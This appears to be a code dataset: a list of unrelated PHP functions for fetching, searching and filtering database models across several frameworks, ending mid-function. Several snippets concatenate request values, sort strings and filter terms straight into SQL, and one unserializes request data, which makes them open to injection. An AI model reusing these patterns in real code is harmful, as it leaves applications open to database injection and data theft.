"public function all($model){\n\n if(!class_exists($model)){\n return new $model;\n }\n\n $table = $this->getTableName($model);\n $stmt = $this->pdo->prepare('select * from ' . $table);\n $stmt->execute();\n\n return $stmt->fetchAll(\\PDO::FETCH_CLASS, $model);\n }", "public static function find($model, $conditions = null, $orderby = null){\n\t\t$sql = \"SELECT * FROM \" . self::table_for($model);\n\t\tif ($conditions) $sql .= \" WHERE \" . self::make_conditions($conditions);\n\t\tif ($orderby)\t$sql .= \" ORDER BY \" . $orderby;\n\t\t\n\t\t$resultset = self::do_query($sql);\n\t\treturn self::get_results($resultset, $model);\n\t}", "function get_model_list($where=\"1\",$where_array,$sort_by=\"\"){\n\t\t$data= $this->select_query(\"make_model\",\"id,name,del_status\",$where,$where_array,$sort_by);\n\t\treturn $data;\n\t}", "public static function search()\n {\n return self::filterSearch([\n 'plot_ref' => 'string',\n 'plot_name' => 'string',\n 'plot_start_date' => 'string',\n 'user.name' => self::filterOption([\n 'select' => 'id',\n 'label' => trans_title('users', 'plural'),\n 'fields' => ['id', 'name'],\n //ComboBox user list base on the current client\n //See in App\\Models\\Users\\UsersScopes\n 'model' => app(User::class)->bySearch(),\n ]),\n 'client.client_name' => self::filterOption([\n 'conditional' => Credentials::hasRoles(['admin', 'admin-gv']),\n 'select' => 'client_id',\n 'label' => trans_title('clients', 'plural'),\n 'model' => Client::class,\n 'fields' => ['id', 'client_name']\n ])\n ]);\n }", "public function getList()\n {\n \treturn $this->model->where('is_base', '=', 0)->get();\n }", "public function getList()\n {\n $this->db->order_by(\"id\", 'desc');\n $this->db->where('status', 1);\n return $this->db->get($this->model);\n }", "public function findAll()\n {\n $fields = $options = [];\n //$options['debug'] = 1;\n $options['enablefieldsfe'] = 1;\n\n return $this->search($fields, $options);\n }", "public function findAll()\n {\n return $this->model->all();\n }", "public function get_multiple()\n\t{\n\t\t$options = array_merge(array(\n\t\t\t'offset' => 0,\n\t\t\t'limit' => 20,\n\t\t\t'sort_by' => 'name',\n\t\t\t'order' => 'ASC'\n\t\t), Input::all(), $this->options);\n\n\t\t// Preparing our query\n\t\t$results = $this->model->with($this->includes);\n\n\t\tif(count($this->join) > 0)\n\t\t{\n\t\t\tforeach ($this->join as $table => $settings) {\n\t\t\t\t$results = $results->join($table, $settings['join'][0], $settings['join'][1], $settings['join'][2]);\n\t\t\t\tif($settings['columns'])\n\t\t\t\t{\n\t\t\t\t\t$options['sort_by'] = (in_array($options['sort_by'], $settings['columns']) ? $table : $this->model->table()).'.'.$options['sort_by'];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(stripos($options['sort_by'], '.') === 0)\n\t\t{\n\t\t\t$options['sort_by'] = $this->model->table().'.' . $options['sort_by'];\n\t\t}\n\t\t\n\t\t// Add where's to our query\n\t\tif(array_key_exists('search', $options))\n\t\t{\n\t\t\tforeach($options['search']['columns'] as $column)\n\t\t\t{\n\t\t\t\t$results = $results->or_where($column, '~*', $options['search']['string']);\n\t\t\t}\n\t\t}\n\n\t\t$total = (int) $results->count();\n\n\t\t// Add order_by, skip & take to our results query\n\t\t$results = $results->order_by($options['sort_by'], $options['order'])->skip($options['offset'])->take($options['limit'])->get();\n\n\t\t$response = array(\n\t\t\t'results' => to_array($results),\n\t\t\t'total' => $total,\n\t\t\t'pages' => ceil($total / $options['limit'])\n\t\t);\n\n\t\treturn Response::json($response);\n\t}", "public function getAll()\n {\n return DB::table('product_models')->get()->all();\n }", "public function filter($params) {\n $model = $this->model;\n $keyword = isset($params['keyword'])?$params['keyword']:'';\n $sort = isset($params['sort'])?$params['sort']:''; \n if ($sort == 'name') {\n $query = $model->where('name','LIKE','%'.$keyword.'%')->orderBy('name'); \n }\n else if ($sort == 'newest') {\n $query = $model->where('name','LIKE','%'.$keyword.'%')->orderBy('updated_at','desc'); \n }\n else {\n $query = $model->where('name','LIKE','%'.$keyword.'%'); \n }\n /** filter by class_id */ \n if (isset($params['byclass']) && isset($params['bysubject'])) {\n $query = $model->listClass($params['byclass'], $params['bysubject']);\n return $query; \n }\n else if (isset($params['byclass'])) { \n $query = $model->listClass($params['byclass']);\n return $query;\n }\n else if (isset($params['bysubject'])) {\n $query = $model->listClass(0,$params['bysubject']);\n return $query;\n }\n /** filter by course status */\n if (isset($params['incomming'])) {\n $query = $model->listCourse('incomming');\n return $query;\n }\n else if (isset($params['upcomming'])) {\n $query = $model->listCourse('upcomming');\n return $query;\n }\n $result = $query->paginate(10); \n return $result; \n }", "public function getAll($model, $filters = array())\n {\n $repo = $this->getRepository($model);\n\n return $repo->getAll($filters);\n }", "public function filters(Model $model): array\n {\n return [];\n }", "public function getResults()\n {\n if($this->search) {\n foreach ($this->filters as $field) {\n $field = array_filter(explode('.', $field));\n if(count($field) == 2) {\n $this->query->whereHas($field[0], function ($q) use ($field) {\n $q->where($field[1], 'ilike', \"%{$this->search}%\");\n });\n }\n if(count($field) == 1) {\n $this->query->orWhere($field[0], 'ilike', \"%{$this->search}%\");\n }\n }\n }\n\n if($this->where) {\n foreach ($this->where as $field => $value) {\n $this->query->where($field, $value);\n }\n }\n\n if ($this->whereBetween) {\n foreach ($this->whereBetween as $field => $value)\n $this->query->whereBetween($field, $value);\n }\n// dd($this->query->toSql());\n return $this->query->paginate($this->per_page);\n }", "protected function _searchInModel(Model $model, Builder $items){\n foreach($model->searchable as $param){\n if($param != 'id'){\n if(isset($this->request[$param]))\n $items = $items->where($param, $this->request[$param]);\n if(isset($this->request[$param.'_like']))\n $items = $items->where($param, 'like', '%'.$this->request[$param.'_like'].'%');\n }else{\n if(isset($this->request['id'])){\n $ids = explode(',', $this->request['id']);\n $items = $items->whereIn('id', $ids);\n }\n }\n }\n\n return $items;\n }", "public function getAll($model)\n {\n $sql = \"SELECT * FROM {$this->table}\";\n $req = Database::getBdd()->prepare($sql);\n $req->execute();\n return $req->fetchAll(PDO::FETCH_CLASS,get_class($this->model));\n }", "private function getAllModels()\n {\n return (object)ModelRegistry::getAllObjects();\n }", "public function findAll()\n {\n return $this->driver->findAll($this->model);\n }", "public function getAllFilters();", "public function GetAll()\n {\n return $this->model->all();\n }", "public function fetch_all_models() {\n global $pdo;\n\n $query = $pdo->prepare(\"SELECT * FROM talents\");\n $query -> execute();\n return $query->fetchAll(\\PDO::FETCH_ASSOC);\n }", "public function findWhere($model, $conditions, $limit = 0){\n\n if(!class_exists($model)){\n return new $model;\n }\n\n $table = $this->getTableName($model);\n\n $sql = 'select * from ' . $table . ' where ';\n $values = [];\n $counter = 1;\n\n foreach ($conditions as $key => $value) {\n if($counter > 1)\n $sql .= ' AND ';\n\n $sql .= $key . '=?';\n $values[] = $value; \n $counter++;\n }\n\n if($limit > 0)\n $sql .= ' LIMIT ' . $limit;\n \n $stmt = $this->pdo->prepare($sql);\n $stmt->execute($values);\n\n return $stmt->fetchAll(\\PDO::FETCH_CLASS, $model);\n }", "public function search() {\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('type', $this->type);\n\n return $criteria;\n }", "public function search()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t//$criteria->compare('object_id',$this->object_id);\n\t\t$criteria->compare('object_type_id',$this->object_type_id);\n\t\t$criteria->compare('data_type_id',$this->data_type_id);\n\t\t$criteria->compare('create_date',$this->create_date,true);\n\t\t$criteria->compare('client_ip',$this->client_ip,true);\n\t\t$criteria->compare('url',$this->url,true);\n\t\t$criteria->compare('url_origin',$this->url_origin,true);\n\t\t$criteria->compare('device',$this->device,true);\n\t\t$criteria->compare('country_name',$this->country_name,true);\n\t\t$criteria->compare('country_code',$this->country_code,true);\n\t\t$criteria->compare('regionName',$this->regionName,true);\n\t\t$criteria->compare('cityName',$this->cityName,true);\n\t\t$criteria->compare('browser',$this->browser,true);\n\t\t$criteria->compare('os',$this->os,true);\n\t\t\t// se agrego el filtro por el usuario actual\n\t\t$idUsuario=Yii::app()->user->getId();\n\t\t$model = Listings::model()->finbyAttributes(array('user_id'=>$idUsuario));\n\t\tif($model->id!=\"\"){\n\t\t\t$criteria->compare('object_id',$model->id);\t\n\t\t}else{\n\t\t\t$criteria->compare('object_id',\"Null\");\t\n\t\t}\n\t\t\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function getModels()\n {\n return $this->_models;\n }", "public function getSearchFields();", "public function all()\n {\n return $this->model->get();\n }", "public function getAllModels()\n {\n try {\n return AppModelList::models();\n }\n catch (Throwable $t) {\n throw new Exception('Parse Error: AppModelList.php has been corrupted.');\n }\n }", "protected function _list_items_query()\n\t{\n\t\t$this->filters = (array) $this->filters;\n\t\t$where_or = array();\n\t\t$where_and = array();\n\t\tforeach($this->filters as $key => $val)\n\t\t{\n\t\t\tif (is_int($key))\n\t\t\t{\n\t\t\t\tif (isset($this->filters[$val])) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t$key = $val;\n\t\t\t\t$val = $this->filter_value;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// used for separating table names and fields since periods get translated to underscores\n\t\t\t\t$key = str_replace(':', '.', $key);\n\t\t\t}\n\t\t\t\n\t\t\t$joiner = $this->filter_join;\n\t\t\t\n\t\t\tif (is_array($joiner))\n\t\t\t{\n\t\t\t\tif (isset($joiner[$key]))\n\t\t\t\t{\n\t\t\t\t\t$joiner = $joiner[$key];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$joiner = 'or';\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (!empty($val)) \n\t\t\t{\n\t\t\t\t$joiner_arr = 'where_'.$joiner;\n\t\t\t\t\n\t\t\t\tif (strpos($key, '.') === FALSE AND strpos($key, '(') === FALSE) $key = $this->table_name.'.'.$key;\n\t\t\t\t\n\t\t\t\t//$method = ($joiner == 'or') ? 'or_where' : 'where';\n\t\t\t\t\n\t\t\t\t// do a direct match if the values are integers and have _id in them\n\t\t\t\tif (preg_match('#_id$#', $key) AND is_numeric($val))\n\t\t\t\t{\n\t\t\t\t\t//$this->db->where(array($key => $val));\n\t\t\t\t\tarray_push($$joiner_arr, $key.'='.$val);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// from imknight https://github.com/daylightstudio/FUEL-CMS/pull/113#commits-pushed-57c156f\n\t\t\t\t//else if (preg_match('#_from#', $key) OR preg_match('#_to#', $key))\n\t\t\t\telse if (preg_match('#_from$#', $key) OR preg_match('#_fromequal$#', $key) OR preg_match('#_to$#', $key) OR preg_match('#_toequal$#', $key) OR preg_match('#_equal$#', $key))\n\t\t\t\t{\n\t\t\t\t\t//$key = strtr($key, array('_from' => ' >', '_fromequal' => ' >=', '_to' => ' <', '_toequal' => ' <='));\n\t\t\t\t\t$key_with_comparison_operator = preg_replace(array('#_from$#', '#_fromequal$#', '#_to$#', '#_toequal$#', '#_equal$#'), array(' >', ' >=', ' <', ' <=', ' ='), $key);\n\t\t\t\t\t//$this->db->where(array($key => $val));\n\t\t\t\t\t//$where_or[] = $key.'='.$this->db->escape($val);\n\t\t\t\t\tarray_push($$joiner_arr, $key_with_comparison_operator.$this->db->escape($val));\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t//$method = ($joiner == 'or') ? 'or_like' : 'like';\n\t\t\t\t\t//$this->db->$method('LOWER('.$key.')', strtolower($val), 'both');\n\t\t\t\t\tarray_push($$joiner_arr, 'LOWER('.$key.') LIKE \"%'.strtolower($val).'%\"');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t// here we will group the AND and OR separately which should handle most cases me thinks... but if not, you can always overwrite\n\t\t$where = array();\n\t\tif (!empty($where_or))\n\t\t{\n\t\t\t$where[] = '('.implode(' OR ', $where_or).')';\n\t\t}\n\t\tif (!empty($where_and))\n\t\t{\n\t\t\t$where[] = '('.implode(' AND ', $where_and).')';\n\t\t}\n\t\tif (!empty($where))\n\t\t{\n\t\t\t$where_sql = implode(' AND ', $where);\n\t\t\t$this->db->where($where_sql);\n\t\t}\n\t\t\n\t\t\n\t\t// set the table here so that items total will work\n\t\t$this->db->from($this->table_name);\n\t}", "public function getAll()\n {\n return $this->fetchAll($this->searchQuery(0));\n }", "public function listAction() {\n\t\t$this->view->config = Marcel_Backoffice_Config::getInstance()->getConfig();\n\t\t$modelName = $this->_getParam('model');\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$this->view->cols = $model->info('cols');\n\t\t$select = null;\n\t\t\n\t\tif ($this->_request->getParam('data')) {\n\t\t\t\n\t\t\t$data = unserialize($this->_request->getParam('data'));\n\t\t\t$aWhere = array();\n\t\t\t$searchText = array();\n\t\t\t\n\t\t\tforeach ($data['query'] as $key => $q) {\n\t\t\t\n\t\t\t\tif (isset($data['fields'][$key]) && !empty($data['fields'][$key])) {\n\t\t\t\t\n\t\t\t\t\t$func = addslashes($data['func'][$key]);\n\t\t\t\t\t$q =\taddslashes($q);\n\t\t\t\t\t$tmpWhere = array();\n\t\t\t\t\t$searchText[] = implode(' OU ', $data['fields'][$key]) . ' ' . $this->view->func[$func] . ' \"' . stripslashes($q) . '\"';\n\t\t\t\t\t\n\t\t\t\t\tforeach ($data['fields'][$key] as $field) {\n\t\t\t\t\t\n\t\t\t\t\t\t$field\t=\taddslashes($field);\n\t\t\t\t\t\tswitch ($func) {\n\t\t\t\t\t\t\tcase 'LIKE':\n\t\t\t\t\t\t\tcase 'NOT LIKE':\n\t\t\t\t\t\t\tcase '=':\n\t\t\t\t\t\t\tcase '!=':\n\t\t\t\t\t\t\tcase '>':\n\t\t\t\t\t\t\tcase '>=':\n\t\t\t\t\t\t\tcase '<':\n\t\t\t\t\t\t\tcase '<=':\n\t\t\t\t\t\t\t\tif (trim($q) != '') { $tmpWhere[] = $field . ' ' . $func . ' \\'' . $q . '\\''; }\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase \"= ''\":\n\t\t\t\t\t\t\tcase \"!= ''\":\n\t\t\t\t\t\t\tcase 'IS NULL':\n\t\t\t\t\t\t\tcase 'IS NOT NULL':\n\t\t\t\t\t\t\t\t$tmpWhere[] = $field . ' ' . stripslashes($func);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tif (trim($q) != '') { $tmpWhere[] = $field . ' LIKE \\'%' . $q . '%\\''; }\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$aWhere[] = '(' . implode(' OR ', $tmpWhere) . ')';\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!empty($aWhere)) { $select = $model->select()->where(implode(' AND ', $aWhere)); }\n\t\t\t$this->view->searchText = $searchText;\n\t\t}\n\t\t$this->view->model = $modelName;\n\t\t$this->view->allData = $model->fetchAll($select);\n\t\t$this->view->data = Zend_Paginator::factory($this->view->allData)\n\t\t\t\t\t\t\t->setCurrentPageNumber($this->_getParam('page', 1));\n\t}", "public function index(Request $request)\n {\n $this->validate($request, [\n 'type' => 'required',\n 'searched' => 'required',\n ]);\n\n try {\n if ($request->type == 'Categories') {\n return Category::search($request->searched)->take(20)->get();\n }\n\n if ($request->type == 'Submissions') {\n return $this->sugarFilter(Submission::search($request->searched)->take(20)->get());\n }\n\n if ($request->type == 'Comments') {\n return $this->withoutChildren(Comment::search($request->searched)->take(20)->get());\n }\n\n if ($request->type == 'Users') {\n return User::search($request->searched)->take(20)->get();\n }\n } catch (\\Exception $exception) {\n app('sentry')->captureException($exception);\n\n return [];\n }\n }", "public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\n\t\t$criteria->compare('type_key',$this->type_key,true);\n\n\t\t$criteria->compare('type_name',$this->type_name,true);\n\n\t\t$criteria->compare('model',$this->model,true);\n\n\t\t$criteria->compare('status',$this->status,true);\n\t\t\n\t\t$criteria->compare('seo_title',$this->seo_title,true);\n\t\t\n\t\t$criteria->compare('seo_keywords',$this->seo_keywords,true);\n\t\t\n\t\t$criteria->compare('seo_description',$this->seo_description,true);\n\n\t\treturn new CActiveDataProvider('ModelType', array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function getReturnModels(){\r\n return array_values($this->models);\r\n }", "public function findAll()\n {\n $models = $this->getDoctrineRepository()->findAll();\n $this->events()->trigger(__FUNCTION__ . '.post', $this, array(\n 'model' => $models,\n 'om' => $this->getObjectManager())\n );\n return $models;\n }", "public function models();", "public function search($conditions)\n\t{\n\t\t$limit = (isset($conditions['limit']) && $conditions['limit'] !== null ? $conditions['limit'] : 10);\n\t\t$result = array();\n\t\t$alphabets = [];\n\n\t\tDB::enableQueryLog();\n\n\t\t$mem = new Memcached();\n\t\t$mem->addServer(env('memcached_server'), env('memcached_port'));\n\n\t\t/* Get Default Logo Link on setting_object table */\n\t\t$logoMem = $mem->get('logo_course');\n\n\t\tif ($logoMem)\n\t\t{\n\t\t\t$default_logo = $logoMem;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$default_logo = $this->getDefaultLogo();\n\t\t\t$mem->set('logo_course', $default_logo);\n\t\t}\n\n\t\tif (isset($conditions['alphabet']) && $conditions['alphabet'] !== null && sizeof($conditions['alphabet']) > 0) {\n\t\t\tforeach ($conditions['alphabet'] as $item) {\n\t\t\t\t$alphabets[] = \"lower(entity.name) like \" . DB::Raw(\"'\" . strtolower($item) . \"%'\");\n\t\t\t\t$alphabets[] = \"lower(curriculum.name) like \" . DB::Raw(\"'\" . strtolower($item) . \"%'\");\n\t\t\t}\n\t\t}\n\n\t\t$extraGroup = (isset($conditions['sort']) && $conditions['sort'] !== null ? $conditions['sort'] : '' );\n\t\t$extraGroup = str_replace(' ASC', '',$extraGroup);\n\t\t$extraGroup = str_replace(' DESC', '',$extraGroup);\n\n\t\t$searchData = DB::table('course')\n\t\t\t->select('curriculum.curriculum_id','course.course_id', DB::raw('entity.logo entity_logo'), 'course.day_of_week',\n\t\t\t\tDB::raw('entity.name entity_name, curriculum.name curriculum_name'), 'course.time_start', 'course.time_end')\n\t\t\t->whereRaw(\n\t\t\t\t(isset($conditions['is_free_trial'])&& sizeof($conditions['is_free_trial']) > 0 ? \"course.is_free_trial in (\" . implode(\",\", $conditions['is_free_trial']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['country_id']) && $conditions['country_id'] !== null ? \"campus.country_id in (\" . implode(\",\",$conditions['country_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['city_id']) && $conditions['city_id'] !== null ? \"campus.city_id in (\" . implode(\",\",$conditions['city_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['location_id']) && $conditions['location_id'] !== null ? \"campus.location_id in (\" . implode(\",\",$conditions['location_id']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['activity_id']) && $conditions['activity_id'] !== null ? \"program.activity_id in (\" . implode(\",\",$conditions['activity_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['activity_classification_id']) && $conditions['activity_classification_id'] !== null ? \"activity.activity_classification_id in (\" . implode(\",\",$conditions['activity_classification_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['activity_type_id']) && $conditions['activity_type_id'] !== null ? \"activity_classification.activity_type_id in (\" . implode(\",\",$conditions['activity_type_id']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['event_type_id']) && $conditions['event_type_id'] !== null ? \"program.event_type_id in (\" . implode(\",\",$conditions['event_type_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['facility_id']) && $conditions['facility_id'] !== null ? \"campus.facility_id in (\" . implode(\",\",$conditions['facility_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['campus_id']) && $conditions['campus_id'] !== null ? \"campus_arena.campus_id in (\" . implode(\",\",$conditions['campus_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['program_id']) && $conditions['program_id'] !== null ? \"curriculum.program_id in (\" . implode(\",\",$conditions['program_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['arena_id']) && $conditions['arena_id'] !== null ? \"campus_arena.arena_id in (\" . implode(\",\",$conditions['arena_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['provider_id']) && $conditions['provider_id'] !== null ? \"program.provider_id in (\" . implode(\",\",$conditions['provider_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['user_id']) && $conditions['user_id'] !== null ? \"schedule.instructor_id in (\" . implode(\",\",$conditions['user_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['day_of_week']) && $conditions['day_of_week'] !== null ? \"course.day_of_week in (\" . implode(\",\",$conditions['day_of_week']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['time_start']) && $conditions['time_start'] !== null ? \"time(course.time_start) = time('\" . $conditions['time_start'] . \"') AND \" : '') .\n\t\t\t\t(isset($conditions['time_end']) && $conditions['time_end'] !== null ? \"time(course.time_end) = time('\" . $conditions['time_end'] . \"') AND \" : '') .\n\n\t\t\t\t(isset($conditions['audience_gender_id']) && $conditions['audience_gender_id'] !== null ? \"course.audience_gender_id in (\" . implode(\",\",$conditions['audience_gender_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['audience_generation_id']) && $conditions['audience_generation_id'] !== null ? \"course.audience_generation_id in (\" . implode(\",\",$conditions['audience_generation_id']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['age_range_top']) && $conditions['age_range_top'] !== null ? \"course.age_range_top >= \" . $conditions['age_range_top'] . \" AND \" : '') .\n\t\t\t\t(isset($conditions['age_range_bottom']) && $conditions['age_range_bottom'] !== null ? \"course.age_range_bottom <= \" . $conditions['age_range_bottom'] . \" AND \" : '') .\n\n\t\t\t\t(isset($conditions['keyword']) && sizeof($conditions['keyword']) > 0 ? \"(\" . implode(\" OR \", $conditions['keyword']) . \") AND \" : '') .\n\t\t\t\t(isset($alphabets) && sizeof($alphabets) > 0 ? \"(\" . join(\" OR \", $alphabets) . \") AND \" : '') .\n\t\t\t\t('course.status = 0')\n\t\t\t)\n\t\t\t->join('campus_arena', function($join){\n\t\t\t\t$join->on('course.campus_arena_id','campus_arena.campus_arena_id');\n\t\t\t\t//$join->on('course.arena_id', 'campus_arena.arena_id');\n\t\t\t})\n\t\t\t->leftjoin('campus', 'campus_arena.campus_id', 'campus.campus_id')\n\t\t\t->leftjoin('location', 'campus.location_id', 'location.location_id')\n\n\t\t\t->leftjoin('facility', function ($join) {\n\t\t\t\t$join->on('campus.facility_id','facility.facility_id');\n\t\t\t\t$join->on('campus.country_id','facility.country_id');\n\t\t\t})\n\n\t\t\t->leftjoin('curriculum', 'course.curriculum_id', 'curriculum.curriculum_id')\n\n\t\t\t->leftjoin('program','program.program_id','curriculum.program_id')\n\t\t\t->leftjoin('provider', 'program.provider_id', 'provider.provider_id')\n\t\t\t->leftjoin('entity','provider.entity_id','entity.entity_id')\n\t\t\t->leftjoin('event_type', 'program.event_type_id', 'event_type.event_type_id')\n\t\t\t/*->join('entity', 'provider.entity_id', 'entity.entity_id')*/\n\n\t\t\t->leftjoin('schedule', 'course.course_id', 'schedule.course_id')\n\t\t\t->leftjoin('user', 'schedule.instructor_id', 'user.user_id')\n\t\t\t->leftjoin('activity', 'program.activity_id', 'activity.activity_id')\n\t\t\t->leftjoin('activity_classification', 'activity_classification.activity_classification_id', 'activity.activity_classification_id')\n\t\t\t->groupBy(\n\t\t\t\tDB::raw('curriculum.curriculum_id, course.course_id, entity.logo, course.day_of_week, entity.name, curriculum.name, course.time_start, course.time_end' .\n\t\t\t\t\t(isset($conditions['sort']) && $conditions['sort'] !== null ? \", \" . $extraGroup : '' )\n\t\t\t\t)\n\t\t\t)\n\t\t\t->orderByRaw(isset($conditions['sort']) && $conditions['sort'] !== null ? $conditions['sort'] : 'course.day_of_week ASC, course.course_id DESC')\n\t\t\t->limit($limit)\n\t\t\t->offset(isset($conditions['page']) && $conditions['page'] !== null ? ($conditions['page']-1) * $limit : 0)\n\t\t\t->get();\n\n\t\t$searchAll = DB::table('course')\n\t\t\t->select('curriculum.curriculum_id','course.course_id', DB::raw('entity.logo entity_logo'), 'course.day_of_week',\n\t\t\t\tDB::raw('entity.name entity_name, curriculum.name curriculum_name'), 'course.time_start', 'course.time_end')\n\t\t\t->whereRaw(\n\t\t\t\t(isset($conditions['is_free_trial'])&& sizeof($conditions['is_free_trial']) > 0 ? \"course.is_free_trial in (\" . implode(\",\", $conditions['is_free_trial']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['country_id']) && $conditions['country_id'] !== null ? \"campus.country_id in (\" . implode(\",\",$conditions['country_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['city_id']) && $conditions['city_id'] !== null ? \"campus.city_id in (\" . implode(\",\",$conditions['city_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['location_id']) && $conditions['location_id'] !== null ? \"campus.location_id in (\" . implode(\",\",$conditions['location_id']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['activity_id']) && $conditions['activity_id'] !== null ? \"program.activity_id in (\" . implode(\",\",$conditions['activity_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['activity_classification_id']) && $conditions['activity_classification_id'] !== null ? \"activity.activity_classification_id in (\" . implode(\",\",$conditions['activity_classification_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['activity_type_id']) && $conditions['activity_type_id'] !== null ? \"activity_classification.activity_type_id in (\" . implode(\",\",$conditions['activity_type_id']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['event_type_id']) && $conditions['event_type_id'] !== null ? \"program.event_type_id in (\" . implode(\",\",$conditions['event_type_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['facility_id']) && $conditions['facility_id'] !== null ? \"campus.facility_id in (\" . implode(\",\",$conditions['facility_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['campus_id']) && $conditions['campus_id'] !== null ? \"campus_arena.campus_id in (\" . implode(\",\",$conditions['campus_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['program_id']) && $conditions['program_id'] !== null ? \"curriculum.program_id in (\" . implode(\",\",$conditions['program_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['arena_id']) && $conditions['arena_id'] !== null ? \"campus_arena.arena_id in (\" . implode(\",\",$conditions['arena_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['provider_id']) && $conditions['provider_id'] !== null ? \"program.provider_id in (\" . implode(\",\",$conditions['provider_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['user_id']) && $conditions['user_id'] !== null ? \"schedule.instructor_id in (\" . implode(\",\",$conditions['user_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['day_of_week']) && $conditions['day_of_week'] !== null ? \"course.day_of_week in (\" . implode(\",\",$conditions['day_of_week']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['time_start']) && $conditions['time_start'] !== null ? \"time(course.time_start) = time('\" . $conditions['time_start'] . \"') AND \" : '') .\n\t\t\t\t(isset($conditions['time_end']) && $conditions['time_end'] !== null ? \"time(course.time_end) = time('\" . $conditions['time_end'] . \"') AND \" : '') .\n\n\t\t\t\t(isset($conditions['audience_gender_id']) && $conditions['audience_gender_id'] !== null ? \"course.audience_gender_id in (\" . implode(\",\",$conditions['audience_gender_id']) . \") AND \" : '') .\n\t\t\t\t(isset($conditions['audience_generation_id']) && $conditions['audience_generation_id'] !== null ? \"course.audience_generation_id in (\" . implode(\",\",$conditions['audience_generation_id']) . \") AND \" : '') .\n\n\t\t\t\t(isset($conditions['age_range_top']) && $conditions['age_range_top'] !== null ? \"course.age_range_top >= \" . $conditions['age_range_top'] . \" AND \" : '') .\n\t\t\t\t(isset($conditions['age_range_bottom']) && $conditions['age_range_bottom'] !== null ? \"course.age_range_bottom <= \" . $conditions['age_range_bottom'] . \" AND \" : '') .\n\n\t\t\t\t(isset($conditions['keyword']) && sizeof($conditions['keyword']) > 0 ? \"(\" . implode(\" OR \", $conditions['keyword']) . \") AND \" : '') .\n\t\t\t\t(isset($alphabets) && sizeof($alphabets) > 0 ? \"(\" . join(\" OR \", $alphabets) . \") AND \" : '') .\n\t\t\t\t('course.status = 0')\n\t\t\t)\n\t\t\t->join('campus_arena', function($join){\n\t\t\t\t$join->on('course.campus_arena_id','campus_arena.campus_arena_id');\n\t\t\t\t//$join->on('course.arena_id', 'campus_arena.arena_id');\n\t\t\t})\n\t\t\t->leftjoin('campus', 'campus_arena.campus_id', 'campus.campus_id')\n\t\t\t->leftjoin('location', 'campus.location_id', 'location.location_id')\n\n\t\t\t->leftjoin('facility', function ($join) {\n\t\t\t\t$join->on('campus.facility_id','facility.facility_id');\n\t\t\t\t$join->on('campus.country_id','facility.country_id');\n\t\t\t})\n\n\t\t\t->leftjoin('curriculum', 'course.curriculum_id', 'curriculum.curriculum_id')\n\n\t\t\t->leftjoin('program','program.program_id','curriculum.program_id')\n\t\t\t->leftjoin('provider', 'program.provider_id', 'provider.provider_id')\n\t\t\t->leftjoin('entity','provider.entity_id','entity.entity_id')\n\t\t\t->leftjoin('event_type', 'program.event_type_id', 'event_type.event_type_id')\n\t\t\t/*->join('entity', 'provider.entity_id', 'entity.entity_id')*/\n\n\t\t\t->leftjoin('schedule', 'course.course_id', 'schedule.course_id')\n\t\t\t->leftjoin('user', 'schedule.instructor_id', 'user.user_id')\n\t\t\t->leftjoin('activity', 'program.activity_id', 